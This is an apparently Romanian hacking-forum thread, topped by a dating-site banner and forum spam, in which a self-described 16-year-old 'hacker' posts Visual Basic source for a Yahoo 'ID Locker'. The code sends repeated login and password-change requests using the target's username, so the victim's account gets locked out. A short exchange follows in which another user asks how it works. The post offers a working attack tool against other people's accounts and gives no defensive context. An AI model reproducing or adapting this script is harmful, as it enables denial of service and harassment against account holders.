Simpatie.ro - matrimoniale
http://surics.taro.tv/
Filme noi/vechi www.guns.3xforum.ro, filme de groaza, comedie, horror, comedie www.guns.3xforum.ro. Cele mai bune programe de hack www.guns.3xforum.ro, bootere yahoo, tutoriale, programe de securitate www.guns.3xforum.ro. Cele mai bune cfg-uri, dll-uri, rc-uri pentru counter strike www.guns.3xforum.ro. Zona de photoshop pentru crearea, editarea imaginilor www.guns.3xforum.ro. discutii libere, muzica, seriale ... TOTUL GASITI PE WWW.GUNS.3XFORUM.RO 		Nou pe simpatie:
karina22 la Simpatie.ro
Femeie
25 ani
Bucuresti
cauta Barbat
25 - 54 ani
http://surics.taro.tv/ReguliInregistrareLoginPozeNu sunteti logat. Lista Forumurilor Pe Tematici
http://surics.taro.tv/ / Tutoriale /

How to make ID Locker in Vb2008/10

 Pagini: 1 Moderat de uNiQ
#1
Legion
Incepator
Din: America, California
Postari: 38
Private Sub Command1_Click()
Label1 = "Status: Locking 0%"
Dim StrPage As String
StrPage = Inet1.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save"
Label1 = "Status: Locking 5%"
StrPage = Inet1.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save"
StrPage = ""
StrPage = Inet2.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save"
Label1 = "Status: Locking 10%"
StrPage = Inet2.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save"
StrPage = ""
StrPage = Inet3.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save"
Label1 = "Status: Locking 15 %"
StrPage = Inet3.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save"
StrPage = ""
StrPage = Inet4.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save"
Label1 = "Status: Locking 20%"
StrPage = Inet4.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save"
StrPage = ""
StrPage = Inet2.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save"
Label1 = "Status: Locking 25%"
StrPage = Inet2.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save"
StrPage = ""
StrPage = Inet3.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save"
Label1 = "Status: Locking 30%"
StrPage = Inet3.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save"
StrPage = ""
StrPage = Inet4.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save"
Label1 = "Status: Locking 35%"
StrPage = Inet4.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save"
StrPage = ""
StrPage = Inet2.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save"
Label1 = "Status: Locking 40%"
StrPage = Inet2.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save"
StrPage = ""
StrPage = Inet3.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save"
Label1 = "Status: Locking 45%"
StrPage = Inet3.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save"
StrPage = ""
StrPage = Inet4.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save"
Label1 = "Status: Locking 50%"
StrPage = Inet4.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save"
StrPage = ""
StrPage = Inet2.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save"
Label1 = "Status: Locking 55%"
StrPage = Inet2.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save"
StrPage = ""
StrPage = Inet3.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save"
Label1 = "Status: Locking 60%"
StrPage = Inet3.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save"
StrPage = ""
StrPage = Inet4.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save"
Label1 = "Status: Locking 65%"
StrPage = Inet4.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save"
StrPage = ""
StrPage = Inet2.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save"
Label1 = "Status: Locking 70%"
StrPage = Inet2.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save"
StrPage = ""
StrPage = Inet3.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save"
Label1 = "Status: Locking 75%"
StrPage = Inet3.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save"
StrPage = ""
StrPage = Inet4.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save"
Label1 = "Status: Locking 80%"
StrPage = Inet4.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save"
StrPage = ""
StrPage = Inet2.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save"
Label1 = "Status: Locking 85%"
StrPage = Inet2.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save"
StrPage = ""
StrPage = Inet3.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save"
Label1 = "Status: Locking 90%"
StrPage = Inet3.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save"
StrPage = ""
StrPage = Inet4.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save"
Label1 = "Status: Locking 95%"
StrPage = Inet4.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save"
StrPage = ""
StrPage = Inet2.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save"
Label1 = "Status: Locking 100%"
StrPage = Inet2.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save"
Label1 = "Status: Account Locked."
StrPage = ""
End Sub

_______________________________________
Name: LegioN Barry
Work at: AnonymousWebsite (AnonWeb)
Age: 16
Dont Forget My Name ==> LegioN Hacker <==
 
   
#2
Sergio
V.I.P
Postari: 169
Adica?:-?

_______________________________________
 
   
#3
Legion
Incepator
Din: America, California
Postari: 38
este source code pentru program de blocat iduri.

_______________________________________
Name: LegioN Barry
Work at: AnonymousWebsite (AnonWeb)
Age: 16
Dont Forget My Name ==> LegioN Hacker <==
 
   
#4
Sergio
V.I.P
Postari: 169
Aha. Si cum functioneaza..?

_______________________________________
 
   
Pagini: 1  
Mergi la